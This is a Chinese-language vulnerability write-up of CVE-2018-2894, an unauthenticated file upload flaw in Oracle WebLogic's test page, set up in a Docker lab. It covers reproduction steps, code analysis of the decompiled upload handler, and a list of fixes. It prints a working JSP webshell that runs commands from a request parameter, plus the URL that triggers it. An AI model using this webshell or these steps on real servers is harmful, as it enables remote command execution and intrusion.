CVE-2018-2894
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。(ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证)
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
WebLogic
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞背景
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。
影响版本
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
漏洞详情
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW
参考链接
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458
漏洞环境
开启docker之后,访问http://your-ip:7001/console
,提示自动部署了应用,然后看到后台登陆界面
执行docker-compose logs | grep password
可查看管理员密码,管理员用户名为weblogic
登陆,点击base_domain
,可看到设置界面
找到设置中的高级
,勾选启用web测试服务页
漏洞复现
访问http://your-ip:7001/ws_utc/config.do
,设置Work Home Dir
为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。为什么将当前工作目录改为这个呢?因为我们需要找一个可以访问的路径,原本的当前工作目录外网是访问不到的。还记得开始时候页面提示了自动部署应用吗,这个/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(绝对路径)
就是部署的web应用的目录(当然后面多加了一个css,这个无所谓),这个目录外网可以访问到,并且是无需权限的。外网访问它里面的文件就是就是http://your-ip:7001/ws_utc/css/文件
所以说能够利用这个漏洞的一个前提是知道部署web应用的目录。由于我们现在自己连接着服务器,前面又提示了自动部署了应用,就可以找找WEB-INF文件夹在哪里,经分析就可以找到部署的目录。
点击安全
->添加
,上传shell.jsp
文件
抓包,看到返回了时间戳
这里我上传的shell.jsp为:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell:根据我这里上传的webshell,即访问http://your-ip:7001/ws_utc/css/config/keystore/1571710839635_shell.jsp?pwd=023&i=ls
至于为什么是访问
/ws_utc/css/config/keystore/[时间戳]_[文件名]
,第一,前面有设置工作目录为ws_utc应用的静态文件css目录,即/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
,,也说了这样设置的原因是访问这个目录是无需权限的,那么后面的/config/keystore/[时间戳]_[文件名]
呢,去下载一个weblogic试试就知道了,审计代码或者去尝试一下上传文件,就可以知道具体的web目录。
代码分析
参照这里:https://xz.aliyun.com/t/2458
我自己没有做调试,对java代码也不是很熟悉,简单根据这个文章看了一下漏洞代码
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class
:
这个函数用于改变目录,但其中并未做任何过滤,只检测了是否可写
public void changeWorkDir(String path) {
/* 62 */ String[] oldPaths = getRelatedPaths();//获取旧的工作路径并且后面加一个config,getRelatedPaths()分析在贴图部分
/* */
/* 64 */ if (testPageProvider.getWsImplType() == ImplType.JRF) {//不太懂这个接口
/* 65 */ isWorkDirChangeable = false;
/* 66 */ isWorkDirWritable = isDirWritable(path);//判断新的path是否可写,isDirWritable分析在贴图部分
/* 67 */ isWorkDirChangeable = true;
/* 68 */ setTestClientWorkDir(path);//设置新的path,setTestClientWorkDir(path)见贴图
/* */ } else {
/* 70 */ persistWorkDir(path);
/* 71 */ init();//初始化
/* */ }
/* */
/* 74 */ if (isWorkDirWritable) { //如果新的path可写
/* 75 */ String[] newPaths = getRelatedPaths();//获取新的path
/* 76 */ moveDirs(oldPaths, newPaths);//把旧的目录的文件移动到新的目录下,并删除原来的目录下的文件,moveDirs()见贴图
/* */ } else {
/* 78 */ Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
/* */ }
/* */ }
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class
中:
/* */ @Path("/keystore")///keystore
/* */ @POST
/* */ @Produces({"application/xml", "application/json"})
/* */ @Consumes({"multipart/form-data"})
/* */ public Response editKeyStoreSettingByMultiPart(org.glassfish.jersey.media.multipart.FormDataMultiPart formPartParams) {
/* 191 */ if (!RequestUtil.isRequstedByAdmin(request)) {//这个接口不太懂,网络请求方面的
/* 192 */ return Response.status(Response.Status.FORBIDDEN).build();
/* */ }
/* */
/* */
/* 196 */ if (TestClientRT.isVerbose()) {//log开关方面的,isVerbose()见贴图
/* 197 */ Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
/* */ }
/* */
/* 200 */ String currentTimeValue = "" + new Date().getTime();//得到毫秒数
/* */
/* */
/* 203 */ KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
////TestClientRT.getKeyStorePath()见贴图,得到上传文件的路径,即getConfigDir() + File.separator + "keystore";
////convertFormDataMultiPart()见下面一段代码
/* */
/* 205 */ formParams.addValue("currentTimeValue", currentTimeValue);//currentTimeValue赋值
/* */
/* 207 */ return dealWithEditKeyStore(formParams);//返回数据包
/* */ }
/* */
接上,跟进convertFormDataMultiPart():
可以看到没有过滤和检查,直接将文件上传到了 /工作目录/config/keystore/毫秒_文件名
/* */ public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix)
/* */ {
/* 105 */ if (formPartParams == null) {
/* 106 */ return null;
/* */ }
/* */
/* 109 */ KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
/* */
/* 111 */ Map<String, List<FormDataBodyPart>> fieldMap = formPartParams.getFields();
/* 112 */ Set<String> keySet = fieldMap.keySet();
/* */
/* 114 */ List<FormDataBodyPart> fomrBodyParts = null;
/* 115 */ FormDataContentDisposition fdcd = null;
/* 116 */ File storePath = new File(path);
/* 117 */ for (Iterator localIterator1 = keySet.iterator(); localIterator1.hasNext();) { key = (String)localIterator1.next();
/* 118 */ fomrBodyParts = (List)fieldMap.get(key);
/* 119 */ for (FormDataBodyPart bodyPart : fomrBodyParts)
/* */ {
/* 121 */ fdcd = b/odyPart.getFormDataContentDisposition();
/* 122 */ String attachName = fdcd.getFileName();//获取文件名
/* */
/* 124 */ if ((attachName != null) && (attachName.trim().length() > 0))
/* */ {
/* 126 */ if ((attachName == null) || (attachName.trim().length() == 0)) {
/* 127 */ kvMap.put(key, new java.util.ArrayList());
/* */ } else {
/* 129 */ attachName = refactorAttachName(attachName);
/* */
/* 131 */ if (fileNamePrefix == null) {
/* 132 */ fileNamePrefix = key;
/* */ }
/* 134 */ String filename = new File(storePath, fileNamePrefix + "_" + attachName).getAbsolutePath();
// /storepath/毫秒数_文件名 storepath就是TestClientRT.getKeyStorePath(),
// 即工作目录/config/keystore/毫秒_文件名
/* 135 */ kvMap.addValue(key, filename);
/* */
/* 137 */ if (isExtactAttachment) {
/* 138 */ saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
// 保存上传的文件到filename
/* */ }
/* */ }
/* 141 */ } else if (bodyPart.isSimple()) {
/* 142 */ kvMap.addValue(key, bodyPart.getValue());
/* */ } else
/* 144 */ com.oracle.webservices.testclient.core.util.Logger.error("[SKIP] Unknown part type. Name: " + fdcd.getName());
/* */ }
/* */ }
/* */ String key;
/* 148 */ return kvMap;
/* */ }
以下是上面涉及到的一些函数
修复方案
1.登录授权后访问;
2.上传文件类型进行验证,前后端
3.重命名文件
4.MIME类型检测
5.限制上传文件的大小
6.限制上传的路径
7.限制上传路径的执行权限
8.不要回显上传文件的路径